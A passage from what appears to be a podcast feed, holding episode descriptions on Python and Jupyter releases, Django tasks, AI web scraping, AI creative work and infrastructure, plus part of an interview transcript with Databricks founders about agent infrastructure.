or for actually vetting the packages you install. Michael #2: JupyterLab 4.6 and Notebook 7.6 are out! Michał Krassowski's rundown - a chunky minor release: 68 features, 97 bug fixes, 95 contributors, one of the biggest ever. Scratchpad console (Notebook 7.6 headliner) - a console next to your notebook sharing its kernel, for throwaway experiments. Ctrl+B. Jump to last-edited cell - new commands hop through recently edited cells. File browser glow-up - Date Created column, editable breadcrumbs with Tab-completion, and Open in Terminal. Debugger - sources open in the main area, floating step/continue overlay, live kernel-sources filter. Custom layouts (Lab) - activity bar top/bottom, draggable panels, four-way tab splits, per-panel Ctrl+scroll zoom. ~5x faster extension builds - webpack → Rspack, and jupyter-builder means no full Lab install needed to build extensions. Keyboard/a11y - add shortcuts from the UI (no JSON), Find & Replace in Edit menu (Ctrl+H). Calvin #3: Tau – new small, readable terminal coding agent Tau – new small, readable terminal coding agent (Python 3.12+), built as both a working tool and a teaching project for how coding agents work under the hood Install via uv tool install tau-ai, pipx, or pip; ships a tau CLI Three-layer architecture: tau_ai (provider-neutral model layer) → tau_agent (reusable "brain": messages, tools, events, loop) → tau_coding (CLI/TUI, file & shell tools, sessions) Supports OpenAI, Anthropic, OpenAI Codex, OpenRouter, Hugging Face, and custom/local OpenAI-compatible endpoints Built-in tools (read/write/edit/bash), durable JSONL sessions with resume/branching, project instructions via AGENTS.md, and context compaction Core harness is UI-agnostic — same brain can power the TUI, print mode, or a custom frontend — usable as a standalone library too Michael #4: Django Tasks and Django 6.1 Django 6.0 finally ships first-party background tasks (django.tasks) - out of Jake Howard's DEP 14, accepted May 2024, after two decades of everyone bolting on Celery/RQ/Huey. It's an API, not a worker. Django handles task definition, validation, queuing, and result storage - it does not execute them. You bring the backend. The default backend traps people. ImmediateBackend runs tasks inline on the request thread and blocks until done - so out of the box .enqueue() backgrounds nothing (a 5-second task means a 5-second response). The other built-in, DummyBackend, runs nothing at all. Both are dev/test only. Nice API otherwise: slap @task on a function, call .enqueue(), get back a TaskResult you look up later by id - with async twins like aenqueue(). Gotcha: args and return values must survive a JSON round-trip, so a tuple sneakily comes back as a list. The community local backend to know: django-tasks-local by Chris Beaven (SmileyChris). A ThreadPoolExecutor backend that gives real background threads with zero infrastructure - no Redis, no Celery, no database - plus a ProcessPoolBackend for CPU-bound work → github.com/lincolnloop/django-tasks-local Its catch: results live in memory, so pending tasks vanish on restart or deploy. Great for dev and low-traffic production; for persistence, drop to Jake Howard's django-tasks (DatabaseBackend + worker command). Extras Calvin: Fixing the dictionary with Python 3.14 — Hugo van Kemenade stumbled on - and got fixed - a markup bug in the OED's own citation of a 1706 use of the pi symbol. Michael: Bunny DNS is now free Jokes: What's the object-oriented way to become wealthy? Inheritance To understand what recursion is... You must first understand what recursion is 3 SQL statements walk into a NoSQL bar. Soon, they walk out They couldn't find a table.
Founder/ Data S ience, AI & Economic Consultant at Analytics TX LLC Consulting practice focused on analytics, economic analysis, and executive advisory. • Design consulting frameworks to audit enterprise datasets, resolve data silos, build Python analytics workflows, predictive analysis, and statistical models, translating complex data into decision systems for founders and leadership teams. • Advise organizations on analytics infrastructure, AI tool selection, and pipeline architecture; deliver executive training in statistical reasoning, business analytics, and economic indicators. • Provide statistical and economic expert analysis used in U.S. litigation, including modeling, statistical evaluation of claims, and expert reports. Statistical modeling and damages analyses have contributed to multi-million-dollar settlements and financial exposure reductions in complex litigation matters. (Clients confidential) • Built Post it Save it App, a production SaaS platform that ingests LinkedIn post and profile data via OAuth API and processes it into structured performance analytics dashboards and reports (JSON, Excel, HTML). Deliberately built without AI, delivering accurate, deterministic content analytics at a fraction of the cost of AI-based alternatives or reliance on LLM uncertainties. • Built an end-to-end course creation system for the Professional Certificate in Business Analytics: Data-Informed Decision Making, parsing source materials (PDFs, Word, images) and transforming them into full course content including slides, AI-generated visuals, and voiceover-driven video modules using image generation and ffmpeg pipelines. Follow her on the author page on Amazon where she has published her book:https://www.amazon.com/Invisible-Hand-Visible-Profit-Decisions/dp/B0GY7V14VL Linkedin: https://www.linkedin.com/in/kruti-lehenbauer/ ***********Susanne Mueller / www.susannemueller.biz TEDX Talk, May 2022: Running and Life: 5KM Formula for YOUR Successhttps://www.youtube.com/watch?v=oT_5Er1cLvY Join Substack: https://substack.com/@susannemuellernyc?Enjoy one coaching session for free if you are a yearly subscriber. 800+ weekly blogs / 500+ podcasts / 1 Ironman Triathlon / 5 half ironman races / 26 marathon races / 4 books / 1 Mt. Kilimanjaro / 1 TEDx Talk
En este episodio de Atareao con Linux nos vamos a remangar para hablar de una de esas tecnologías que, una vez las dominas, te cambian la vida por completo: el Web Scraping asistido por Inteligencia Artificial.Seguro que te ha pasado alguna vez. Quieres comprar un producto concreto, como unas zapatillas de running (yo las cambio cada 800 kilómetros y es un goteo constante), o quieres extraer todas las recetas de cocina de una web para montarte tu propio planificador semanal. Lo ideal sería que estas páginas tuvieran una API pública para descargar la información de forma limpia. Pero la cruda realidad es que casi ninguna te lo pone fácil. Ahí es donde entra el scraping: la técnica de extraer la información directamente de la página web.En este episodio te cuento por qué el scraping clásico (ese que utiliza Beautiful Soup en Python y depende de identificar las etiquetas HTML y las clases CSS) tiene los días contados para tareas complejas. Basta con que un desarrollador cambie el diseño de la web para que tu script se rompa por completo. Además, con la llegada de las webs dinámicas, los tests A/B y los sistemas anti-bloqueo como Cloudflare, mantener un scraper tradicional es un auténtico dolor de muelas.La gran alternativa: Inteligencia Artificial en local¿Y si en lugar de pelearnos con el código fuente dejamos que un modelo de lenguaje (LLM) entienda la página exactamente igual que lo haría un humano? Un LLM comprende perfectamente qué es un "precio" o el "nombre de un producto", sin importar cómo esté maquetada la web ni el idioma en el que esté escrita. Y lo mejor de todo: ¡lo podemos hacer 100% gratis en local usando Ollama!Te detallo mis pruebas ejecutando modelos en mi Slimbook One utilizando únicamente la CPU (¡sin gastar un céntimo en nubes ni necesitar tarjetas gráficas carísimas!). Hablaremos de cómo rinden modelos como Llama 3.2, Qwen, Mistral y DeepSeek R1, y cuál es el punto de equilibrio perfecto para no eternizarnos esperando la respuesta.También te desvelo mi fórmula secreta para procesar la información. No podemos enviarle 2 Megabytes de HTML ruidoso a la IA. Te explico los 5 pasos que utilizo en Python para eliminar la basura (scripts, estilos, navegación) y reducir el HTML hasta en un 93%, permitiendo que el modelo extraiga los datos en segundos y nos devuelva un JSON estructurado impecable.Por último, vemos cómo montar un auténtico vigilante de ofertas automatizado en segundo plano. Un sistema que compare los precios de varias tiendas en paralelo.Capítulos del episodio:00:00:00 Introducción al Web Scraping con Inteligencia Artificial00:01:22 ¿Para qué sirve extraer datos? Ejemplos prácticos00:02:42 El gran talón de Aquiles del scraping tradicional00:04:31 La revolución de la IA: Entender la web sin saber HTML00:07:36 Los problemas habituales: Selectores rotos y webs dinámicas00:10:00 Cómo un modelo de lenguaje (LLM) procesa la información00:13:17 Cuándo elegir scraping clásico vs. scraping con IA00:15:28 Comparación de costes: Enfoque clásico, IA local e IA en la nube00:17:19 ¿Qué modelos usar? Pruebas con Llama, Qwen, Mistral y DeepSeek00:18:19 Detrás de escena: Mi script de Python y la limpieza del HTML00:21:05 Creando el prompt perfecto para extraer un JSON estructurado00:24:34 Ejemplo real: Comparativa paralela entre tiendas00:28:38 Diseñando un vigilante de ofertas automatizado (24/7)00:30:17 Casos de uso prácticos y mejoras para evitar bloqueos00:32:02 Cierre y detalles del próximo tutorial de scrapingMás información y enlaces en las notas del episodio
In Episode 73, Salma Aboukarr joins the show. A creative director and founder, she explains how she moved from painstaking CGI workflows in Blender and 3Ds Max to AI-native campaigns for brands including Coca-Cola, Panasonic, and Google Labs. She breaks down her viral IKEA exploding-room video that helped brands see the commercial potential of generative AI video, the detailed JSON prompting method behind it, and the modern AI creative stack she uses across Claude, Midjourney, Nano Banana, Seedance, FAL.ai, Z-Image Turbo, Qwen, style LoRAs, and custom AI agents.The conversation goes deep on AI advertising, product fidelity, photorealistic skin, color correction, video upscaling, automated client workflows, and why high-end AI work still depends on original concepts, trained taste, and obsessive finishing. They debate whether AI can truly be original, why technical teams struggle to manufacture taste, how creators survive a feed flooded with AI content, and why the next creative moat may come from the experiences, references, and strange little details nobody else can copy.---⏱️ Fast Hour00:00 Meet Salma Aboukarr02:17 From CGI agency to AI-first studio04:44 Product fidelity before AI got good07:34 The duct-taped road to photorealism11:10 Art direction beyond basic prompting14:28 Salma's current AI creative stack16:08 How she stress-tests every new model20:20 Why color correction still matters22:25 The IKEA video that changed everything27:13 Going viral and handling AI backlash30:38 Originality as the next creative moat33:05 Can AI actually be original?38:52 Inside an AI-native creative agency39:55 Z-Image Turbo and aesthetic base models43:06 From client brief to automated pipeline47:54 Style LoRAs for brand consistency49:11 Claude, MCP, FAL, and leaving ComfyUI51:07 The model that cut a day to 15 minutes55:13 Why AI content stopped feeling special01:00:57 The value trapped in AI archives01:02:06 Create for yourself or the audience?01:04:31 Can engineers manufacture taste?01:08:38 Finding inspiration outside the feed01:11:57 Jackie Chan and thumbnail fuel01:15:29 Final lessons from a creative trailblazer#AICreative #AIAdvertising #GenerativeAI #AIVideo #CreativeDirection #Midjourney #ClaudeAI #NanoBanana #SeedanceAI #AIWorkflow #AIAgency #AIContentCreation #BrandMarketing #CreativeTechnology #ProductPhotography #AIBranding #FutureOfAdvertising #FastHours
We are back! Season 25 kicks off with a deep dive into the latest Airtable updates that every builder needs to know. From a brand new automation trigger for comments to the technical advantages of inserting data as JSON strings, we cover the tools that will speed up your workflow. We also look at how Airtable's AI is moving into Slack and what that means for your team's productivity, including a breakdown of its current limitations. Join us as we unbox these features and share our honest thoughts on the latest interface changes and the shift from User Groups to Builder Crews.
Jake shares lessons from rebuilding a permissions system around flexible roles, temporary permission leases, and delegated user management. He also discusses adding Apple Pay and Google Pay, plus designing automated text-message payment flows that use numbered choices instead of complicated keywords.Michael talks about building lender integrations, the importance of adding real context to API documentation, and using Claude to turn JSON specifications into PHP DTOs and enums. He also reflects on his team's new helpdesk rotation, where direct exposure to users has uncovered long-standing bugs, inefficient manual processes, and opportunities for developers to better understand the people using their software.They finish with the challenges of parenting teenagers, preparations for Laracon US in Boston, including a search for coffee, donuts, bagels, and cannoli. (00:00) - Club World Cup surprises and sports talk (03:12) - UFC, LeBron and basketball moves (06:33) - Rebuilding roles and permissions (08:39) - Permission leases and delegated management (10:02) - Apple Pay, Google Pay and text-based payments (11:50) - Lender integrations and better API documentation (14:08) - A new developer and the helpdesk rotation (17:13) - Automated tickets and failed queue jobs (18:54) - The address autocomplete bug (19:58) - When tiny code changes create hidden failures (23:02) - Why support requests need a real ticket (25:17) - Developers learning directly from customers (27:53) - Cross-department training and business context (30:51) - Building trust beyond Slack (32:02) - Weekly stress, workload and personal check-ins (35:18) - Parenting teenagers and setting curfews (37:10) - Planning for Laracon US in Boston (40:00) - Australian and American school calendars (42:51) - Vacations, PTO and wrapping up
Malcolm Matalka joins William and Eyvonne to challenge the narrative that Infrastructure as Code (IaC) is dead. Malcolm argues that the real value of IaC was never the syntax, but state and governance. Together they examine whether the state was a file problem at all, or a distributed systems problem in a JSON costume. Episode... Read more »
Malcolm Matalka joins William and Eyvonne to challenge the narrative that Infrastructure as Code (IaC) is dead. Malcolm argues that the real value of IaC was never the syntax, but state and governance. Together they examine whether the state was a file problem at all, or a distributed systems problem in a JSON costume. Episode... Read more »
We're excited to have Databricks join us at AIEWF, among hundreds of the top companies in the AI Engineer ecosystem. LS subscribers can use their discount to get past the late bird pricing and access over $50k in sponsor offers! Everyone is still talking about Satya's Frontier Ecosystems post, but few have actually built a (now $175 billion) frontier ecosystem and cloud like our guests today.From open-sourcing the layer above coding agents to rethinking databases for the agent era, Databricks cofounders Matei Zaharia and Reynold Xin are pushing the company beyond the lakehouse into a full data-and-AI operating system. In this episode, Matei and Reynold join swyx at the 2026 Data + AI Summit to unpack Omnigent, LTAP, Lakebase, agent security, open formats, Mosaic, and why databases may matter more than ever once AI agents start doing real work.We go deep on Omnigent: Databricks' open-source meta-harness for combining, controlling, and sharing agents across Claude Code, Codex, Cursor, Pi, custom agents, and internal tools. Matei explains why coding agents and enterprise agents run into the same problems: portability, collaboration, session history, security, spend controls, and the need for a common API above every harness.Then Reynold walks through Databricks' database dream: why CDC is brittle enough to joke that it means “continuous data corruption,” why HTAP has been the holy grail of database engineering, and why Databricks thinks LTAP gets most of the benefits by unifying the storage layer instead of collapsing every query engine. We also cover Databricks' infrastructure scale, the culture behind rapid prototyping, the difference between tech and enterprise customers, Databricks vs Snowflake, whether vector databases should have ever existed, the Mosaic model strategy, Genie, AI Runtime, RL fine-tuning, and the thesis that traditional software gets rewritten once the data is in the right place and agents sit on top.Databricks began as a company for the big data era. The origination of Spark from the Berkeley AMPLab which eventually turned into the product Lakehouse convinced enterprises that they didn't need a separate data lake, warehouse, ML platform, and governance layer. They just needed one open foundation where all of their data could live and be reasoned over.Since then a lot has changed, but data has only become more important. Data is no longer something you keep track of and analyze ad hoc, it's the necessary context agents need in order to act. So the framing has shifted from “where do we put all of our data?” to “how do we expose the right slice of state, history, permissions, and business logic to an AI system at the exact moment it's doing work?”If frontier model performance becomes commoditized, the durable advantage then becomes the company-specific context around them: proprietary data, governed access, operational state, transaction logs, workflows, and feedback loops. Which makes Databricks positioned perfectly.Now coming fresh off the Data + AI Summit 2026, the company is moving just as fast to keep up, announcing Genie One, Omnigent, LTAP, and many more, indicating a central mission in its newer work: Databricks is trying to become the operating system for enterprise agents.Models are getting good enough, but agents are only useful if they have the right context, permissions, memory, state, cost controls, and access to live business data. Fundamentally it appears that significantly better model performance in production is a systems problem, one that data guys like us are remarkably well prepared to solve!We discuss:* Why Databricks built Omnigent as a meta-harness above existing AI agents* Why coding agents and custom enterprise agents need the same infrastructure* The common API for agent sessions, files, streams, tool calls, and cancellation* Why persistent sessions, cloud sandboxes, sharing, search, and collaboration matter* Why Databricks open-sourced Omnigent instead of keeping it proprietary* Databricks' internal agent usage, cloud sandboxes, and coding workflows* The scale of Databricks: 50–60 million virtual machines a day and exabytes before breakfast* Why agent security needs contextual and stateful policies* How an agent could read confidential docs, install a compromised npm package, and leak data* Why spend control matters when an agent can burn $500 reading logs* Startup opportunities around coding-agent analytics, quality, skills, and spend* LTAP, Lakebase, and why Databricks wants to rethink the database stack* OLTP vs OLAP, CDC, and why data pipelines break at 3 a.m.* Why HTAP has historically been the holy grail of database engineering* Why Databricks thinks LTAP is “HTAP done right”* How writing transactional data into column-oriented formats changes analytics* Why agents need live operational context from databases, not just telemetry* How Databricks prototypes strategic systems without endless process* Enterprise vs tech customers, governance, procurement, and DIY culture* The “second system syndrome” risk of rewriting a database engine* Building a database engine from a decade of traces and quadrillions of data points* Why vector databases should never have been a separate category* Why open formats and AI changed the race with Snowflake* The Mosaic story, DBRX, Genie, document parsing models, and specialized model training* Why model customization and RL fine-tuning may become mainstream* Why “get the data there, slap some agent on top” may rewrite traditional softwareMatei Zaharia* LinkedIn: https://www.linkedin.com/in/mateizaharia* X: https://x.com/matei_zahariaReynold Xin* LinkedIn: https://www.linkedin.com/in/rxin* X: https://x.com/rxinDatabricks* Website: https://www.databricks.com* X: https://x.com/databricksTimestamps00:00:00 Introduction00:02:22 Omnigent and the Agent Infrastructure Layer00:08:39 Agent Clouds, Common APIs, and Open Source00:16:52 Databricks Scale and Internal AI Workflows00:18:03 Agent Security, Governance, and Spend Controls00:27:34 LTAP and the Database Dream00:30:30 CDC, HTAP, and Why Data Pipelines Break00:34:05 Lakebase, Parquet, and Live Data for Agents00:36:47 Databricks' Culture of Fast Prototyping00:43:40 The Dream Engine and Rewriting the Database Stack00:51:02 Vector Databases, Query Engines, and LTAP00:52:36 Databricks vs Snowflake00:57:48 Mosaic, DBRX, Genie, and Specialized Models01:03:11 Context, AI Runtime, and RL Fine-Tuning01:06:15 Why Data + Agents May Rewrite Software01:07:09 Closing ThoughtsTranscriptIntroduction: Databricks, Data + AI Summit, and Founder DynamicsSwyx [00:00:00]: Matei and Reynold from Databricks, welcome to Latent Space.Reynold Xin [00:00:06]: Hey, thanks for having us.Swyx [00:00:07]: Yeah.Matei Zaharia [00:00:08]: Yeah, thanks so much.Swyx [00:00:09]: thanks for taking time out. You have your Databricks, Data AI Summit going on. You were just telling me how the first summit that you guys ran was just 50 peopleReynold Xin [00:00:17]: Yeah, it wasSwyx [00:00:17]: in BerkeleyReynold Xin [00:00:18]: little meetup at Berkeley, I thinkMatei Zaharia [00:00:19]: YeahReynold Xin [00:00:19]: put togetherMatei Zaharia [00:00:20]: We were doing these tutorials and, yeah, just teach people Spark.Swyx [00:00:23]: Yeah. obviously now it's like, I think like the headline number's like 100,000 people around the world, 30,000 in person.Swyx [00:00:30]: it's a crazyMatei Zaharia [00:00:31]: AmazingSwyx [00:00:31]: community. Well, I just saw the keynote.Swyx [00:00:35]: Ali's just. Did was it obvious or that back when that Ali would be, like, such a great, like, CEO? LikeReynold Xin [00:00:42]: OhSwyx [00:00:42]: such a great presenter?Reynold Xin [00:00:43]: What do you think?Matei Zaharia [00:00:44]: I think among our group of founders it was clear that, I think he'd be the best at this.Swyx [00:00:50]: Yeah.Matei Zaharia [00:00:50]: And yeah, it turned out great. And he's, he's ramped up on so many topics growing a company. He would just go in and, like, study it and, be talk to all the experts. Like, even if he can't hire the person, learn enough about, like, finance and sales and whatever it was, and, and go from there. Yeah.Swyx [00:01:09]: Yeah.Reynold Xin [00:01:10]: he's obviously very high IQ and a very high EQ, but it wasn't. Like, Ali today is quite different from Ali from, like 10 years ago. I think there's a lot of work that he put in to, get to this point.Swyx [00:01:20]: Yeah. no, to me the most appealing thing about him is that he's funny. And like, it, it's, it'Matei Zaharia [00:01:26]: It's true, yeahSwyx [00:01:26]: it's hard to make jokes about, data warehousesReynold Xin [00:01:30]: About serious topicsSwyx [00:01:31]: securityMatei Zaharia [00:01:32]: YeahSwyx [00:01:32]: what have you.Matei Zaharia [00:01:33]: Oh, yeah. That's for sure.Swyx [00:01:34]: Yeah. So you guys launched a whole bunch of things. I'll, I'll just name check briefly, the stuff because we're not gonna cover everything. Omnigentt, your baby. LTAP, your baby, your dream engine.Swyx [00:01:47]: we're also gonna cover Genie, cover CustomerLake, you acquired PantherMatei Zaharia [00:01:52]: YeahSwyx [00:01:52]: Open Sharing, and there's Unity AI Gateway. A lot of these, I think, like, are things that you would expect a Databricks to do. It's, it's like part of the roadmap. Everyone in your category has similar things. But I think, probably the two of you are leading the two most unique and differentiated initiativesOmnigent and the Agent Infrastructure LayerSwyx [00:02:09]: on, in the landscape. Maybe we'll start with, Omnigentt we'll, we'll, we'll, we'll go into it. I do think that a lot of people are exploring this meta harness concept.Matei Zaharia [00:02:21]: Yeah, totally.Swyx [00:02:21]: What led you to it?Matei Zaharia [00:02:22]: Yeah. There were a couple of, like, converging lines, which I think is a good sign that you need something new. So on the one hand, there's all the coding agent info internally. We have really great, dev infra team. they built something called Isaac, that's like a wrapper on Claude Code and Codex, and, lets you use them either on the web in, like, sandboxes or, just on your dev machine or on your laptop or whatever. And then, they were adding all kinds of stuff there. And we saw all the more advanced engineers like, were building their own workflows with tons of agents, and they were building their own UIs and stuff on top or even on top of that. And then the other one was, like, us building agents. We ship this, like, data science agent called Genie on the research team, which I lead. We also build a lot of internal ones for various things, and then we have all the customer ones. And all of them running into this thing of like, “Oh, I need to switch model and harness and so on,” every few months. Plus the agent is, like, completely useless if you can't share sessions with someone and have history and have search and all this, like, layer on top of it for collaboration. I thought a bit about it from both contexts and, at first people thought it was weird. They're like, “Why are you doing coding agents and custom agents in the same thing?” But I said it's, it's the same problems and, you just wanna build the stuff that lets you deliver the agent, maybe control it if you care about security, and, make it portable across things. And then we prototyped some things as experiments. We saw, yeah, we can make it work, and then we built that for real.Swyx [00:04:06]: I'm wondering if this let's call it architectureMatei Zaharia [00:04:11]: YeahSwyx [00:04:11]: maps to anything in your careers in the past. like I always think about how a lot of things just tie back to operating systems.Swyx [00:04:18]: A lot of operatingMatei Zaharia [00:04:19]: YeahSwyx [00:04:20]: systems tie back to databases,Matei Zaharia [00:04:21]: SoSwyx [00:04:21]: or the other way aroundMatei Zaharia [00:04:22]: so the thing, I do think it ties a lot to, like, network protocols, internet protocol. we alsoSwyx [00:04:29]: Communication between entities.Matei Zaharia [00:04:30]: Yeah. We did stuff with, like, data sharing also, which is probably, most viewers probably won't know unless they'Swyx [00:04:36]: Yeah, open protocol is the term.Matei Zaharia [00:04:37]: Yeah.Swyx [00:04:38]: Open sharing. Open sharing.Matei Zaharia [00:04:38]: Open sharing.Swyx [00:04:39]: Yes.Matei Zaharia [00:04:39]: Yeah. So it's like you have a company, you maintain some table, like let's say like a Walmart or something. They have like the, inventory and what's been sold in each store. And then you also have suppliers, and they would love to produce more things and ship them, like, exactly the moment you need them. So they would love, like, real-time access to your table. So instead of like sending emails around or Excel sheets or phone calls, why can't you share like a view of that table in real time with them? Then they query, they, join it with their data, and they decide what to send. So it's one of these things where you, like you might ask like today since we can vibe code anything so fast, why do we even need to design like protocols or APIs or software? Why can't you just vibe code things on demand? But for this type of interoperability where multiple parties that are moving at different speeds are building stuff and you still want some layer on top to coordinate, you do wanna design it and build it. So it reminds me of that, like agents talking to each other and, users talking to agents and tools.Agent Clouds, Cloud Sandboxes, and Keeping Sessions AliveSwyx [00:05:42]: Reynold, any other comments alternative viewpoints?Reynold Xin [00:05:46]: I think, by the way, we had a debate on exactly which set of benefits would, matter a lot, and I think around the time we decided to do this thing I was telling Matei, “Hey,” it just happened to be there's a particular week that I was coding nonstopSwyx [00:06:00]: from the moment I woke up to, like, the moment I went to bed, I was, like, looking at my Claude sessions, my Codex sessions. And one of the things that was particularly annoying was having to keep my laptop open.Swyx [00:06:12]: I was driving to a doctor's appointment, and I remember because I wanted to make sure the whole thing continues working.Matei Zaharia [00:06:18]: But by the way, it's so comforting to hear you say that because I'm like, “I don't know if I'm a clown and I'm doing this or like.”Swyx [00:06:25]: Yeah. Like honestly, I was driving and I was tethering my laptop to my phone.Matei Zaharia [00:06:29]: huh.Swyx [00:06:29]: Keeping it on the side. Whenever I hit a red light, I started looking at what's going on my laptop.Matei Zaharia [00:06:35]: Yeah.Swyx [00:06:35]: And I just felt that was ridiculous.Matei Zaharia [00:06:37]: Yeah.Swyx [00:06:37]: It felt like we went back to the dark agesMatei Zaharia [00:06:39]: YeahSwyx [00:06:40]: programming. the productivity you gain from all this coding age is amazing, but, yeah.Matei Zaharia [00:06:45]: Have you heard of cloud?Swyx [00:06:47]: Yeah.Swyx [00:06:48]: It was crazy to me.Matei Zaharia [00:06:49]: Oh, the thing you were working on was the sandboxes or was this before that?Swyx [00:06:52]: It was a sandbox.Matei Zaharia [00:06:53]: Okay.Swyx [00:06:54]: I was workMatei Zaharia [00:06:54]: So you were inSwyx [00:06:55]: So I was approaching from a very different angle. I wanted to, “Hey, we're gonna have cloud sandboxes that doesn't shut down. You can get one very quickly,” but not just for running agentic sessions.Matei Zaharia [00:07:06]: Yeah.Swyx [00:07:06]: It's also for running development. So I was personally building that week, and through building that, I ran into all these issues, and then I wroteMatei Zaharia [00:07:15]: YeahSwyx [00:07:15]: a document for Matei, it's like, “Here's my wish list of what the actual environment should do.” And I think he ended up almost implementingMatei Zaharia [00:07:22]: YeahSwyx [00:07:22]: every single one of them.Matei Zaharia [00:07:23]: Yeah, I remember Reynolds saying, ‘cause my first prototype of this had just chats with your agent and he said, “I have to be able to open a shell, like my own shell and like list files and like tail them and stuff.” SoSwyx [00:07:36]: So SSH into a mainframe.Matei Zaharia [00:07:37]: Yeah. it has that now.Swyx [00:07:39]: Tailing my log.Matei Zaharia [00:07:40]: Yeah.Matei Zaharia [00:07:41]: Yeah.Swyx [00:07:41]: And also another thing I think I asked was, I had. I still use cursor for the sole purpose of rendering markdown files.Matei Zaharia [00:07:48]: huh. Yes.Swyx [00:07:49]: So I said, “If you just give me a way to see my markdown files and renderMatei Zaharia [00:07:53]: YeahSwyx [00:07:53]: them properly, I don't need a separate tool anymore.”Matei Zaharia [00:07:55]: Yeah.Swyx [00:07:56]: And I think you also built that in.Matei Zaharia [00:07:57]: Yeah, we, yeah, we did that, yeah. Yeah, we had a lot of engineers building, their own vibe coding setup. But then the other thing they all said is like, “Hey, I built something that's amazing for me, but, like, no one else on the team can use it ‘cause I don't have a server to collaborate.” And this is why we tried to set up, Omnigent, so you can have a server and have the security, set up in there. So, like log in with Google or whatever and, like securely share stuff. which. And that's where we've seen a lot of other agents like hit things. Like people think they prototyped an awesome agent, but it's not allowed to connect to like some really important data or whatever because of the security team.Omnigent Architecture, Open Source, and Common APIsSwyx [00:08:38]: Yeah.Matei Zaharia [00:08:38]: So yeah.Swyx [00:08:39]: Yeah. At this point, so for those watching along on YouTube, we're gonna putting up a image of the structure here, and we can talk a little bit of the architecture. I think I just want to have people understand, ‘cause like when we're talking about software, it can be very abstract and like here is what we're talking about. You've worked out in open source this entire platform and there's a runner component and server component with a uniform API that you've, you've figured out. any other element and obviously you can plug in all this, persistence layers and compute layers. This is a whole cloud. It's an agent cloud.Matei Zaharia [00:09:12]: Yeah. It's, it's got these components to work with it. The, a lot of the action happens like on the machine where you deploy your agent too. So whatever you've got on there, you can run. But yeah, it's, I think it's the minimal thing you want to have hosted, like collaborative agents and to have that server. And one of the reasons we open sourced it is, anyone building agents, this gives them an app they can start with and customize, which we were seeing in Databricks too. Like someone would make a nice, agent app and then other teams would ask, “Oh, can I just use yours for my agent?”Swyx [00:09:45]: Yeah, I think we had like five or six different agentic frameworksMatei Zaharia [00:09:48]: YeahSwyx [00:09:48]: built by every different team. They do all do more or less the same thing. Yeah, you need to. people wanna take something that works in Forkit, and you might as well have something open source. Yeah, which also was another question, which is interesting for Databricks. Like what do you choose to open source? What do you choose to make it proprietary? It's in. this goes back to Spark, right?Matei Zaharia [00:10:05]: Yeah.Matei Zaharia [00:10:06]: One, so one of the reasons to open source something is if you think it's a layer that will there'll be some network effect, it'll benefit from many, people collaborating, on it. So, for example, with Spark, I don't know if when Spark came out, we also focused a lot on letting you have libraries on top. So like there used to be differentSwyx [00:10:28]: EcosystemMatei Zaharia [00:10:28]: distributed computing engines for like machine learning and graph computation. We said they should all be libraries that you can compose. And we made it super easy to add connectors to data sources too. And then we benefit because, we don't have the time to write like connectors to like, 1,000 like different databases and file formats, but we can just use the ones people make, and of course they benefit from joining, this thing. So that's like one of these as it. Another way to think about it is like imagine, we our thing wasn't open. We had some agent hosting thing, but it's not open and then there is an open one. if you're. Which one's gonna win in the long run? So like here, because there is this benefit from like people writing integrations, it'll be, it'll be that. And then there are other things that like you just can't, even deliver as open source that are things the company does. Like for example, how do you make sure you're like streaming, jobs or your Lakebase database doesn't like, lose all your data at night? Well, that requires an operational team that's gonna sit there. There's no way it has to be a service. So like we wanna make sure as a company we're really good at those infra services and then we're as open as we can in terms of like what you build on top.Swyx [00:11:42]: speaking from a benefits, I think we are already seeing pull requestsMatei Zaharia [00:11:45]: YeahSwyx [00:11:45]: of all kinds of ecosystem integration, even though it was only released on Saturday.Matei Zaharia [00:11:50]: Yeah, Saturday. Yeah. So someoneSwyx [00:11:51]: Let's see, let's see what's going on. Yeah, you can look at the merge ones. I asked Sam Nigon this morning aboutMatei Zaharia [00:11:59]: 400 merge already?Matei Zaharia [00:12:00]: Yeah. I think Recent quite, I would guess around half are not from our team. but for example, someone added support for running it on Kubernetesrnetes. people added, many cloud sandboxes, so this can launch a cloud sandbox and run your agent in there, which is great for sharing too, ‘cause it's not, like, on your laptop and someone's, like, running scary code on there. so yeah, many startups have put those in, and, we expect to see more of them. We also have more agent harnesses already. Cursor, CLI, and Antigravity also.The Modern Data Stack and the Emerging AI StackMatei Zaharia [00:12:34]: Yeah. That's all, beautiful. And I, I feel like the last time this happens, there was the rise of the modern data stack.Matei Zaharia [00:12:42]: I don't know if it's that useful. I'm, I'm curious in your postmortem.Matei Zaharia [00:12:46]: I think most peopleSwyx [00:12:47]: AgreeMatei Zaharia [00:12:47]: will agree that it is finally dead. but maybe this arises to a new modern AI stack that, like, does the same thing.Matei Zaharia [00:12:52]: I don't know.Reynold Xin [00:12:54]: I think the modern data stack was a pretty useful thing, probably even up until this day. I think what, maybe for the audience who don't understand the history, I think the modern data stack is effectively decomposed into you need a layer to ingest the data in, you need a layer to transform your data, and then all of this are run, and then you need a layer to maybe visualize your data. And all of this runs on some data warehouse, or later on, as we're doing data warehouse or lakehouse.Reynold Xin [00:13:21]: I think that concepts are all very powerful and very useful. They enable a lot of workloads. What people eventually run into is a question of unification and consolidation is, hey, do you really need to chop all this into different pieces and work with so many different vendors and platforms in order to get, like, a very simple visualization done, right? So I think, like, over time, everybody started realizing that customers are pushing us. We started, we can realize that, so we started building more and more capabilities and trying to consolidate. And at the end of the day now, customers don't have to worry about having me hook up five different systems in orderMatei Zaharia [00:13:55]: YeahReynold Xin [00:13:55]: produce a chart. But the. I think, honestly, something like this is probably happening, in how many different frameworks do you want to hook up together in order to produce, like do a very simple agent.Matei Zaharia [00:14:06]: Just to be clear, I would say the core of this is this common API on top of all the harnesses. So the API is like, you've got an agent session, and you can send in a message or, like, a file. That's what you can send in, and then you get out, these streams as it's streaming text or as it's doing tool calls. And, or the other thing you can send in is you can, like, tell it to cancel a turn. So that's the API. Now, the thing we did is we could get you that on top of, like, cloud code running in a terminal, Codex, Py, OpenAI SDK, all that stuff. We map them all to that same interface. So that is something that you'd have to maintain yourself if you built your own, like, agent orchestrator, and then whenever cloud changes its API, you gotta, tweak your thing or it's gonna lose some messages. So that's the thing that's valuable to maintain. Then on top of that, like, we built a few apps. I think we built a pretty cool UI and stuff, but that's, And we built a security and control piece, which I'm excited about. But it's that common interface, so we don't. We. That doesn't try to be a stack. And in fact, you could plug in your own UI on top of this, server. That, and that's one of the use cases we care a lot about, ‘cause we want to use this in our own products.Compute, Sandboxes, and Databricks 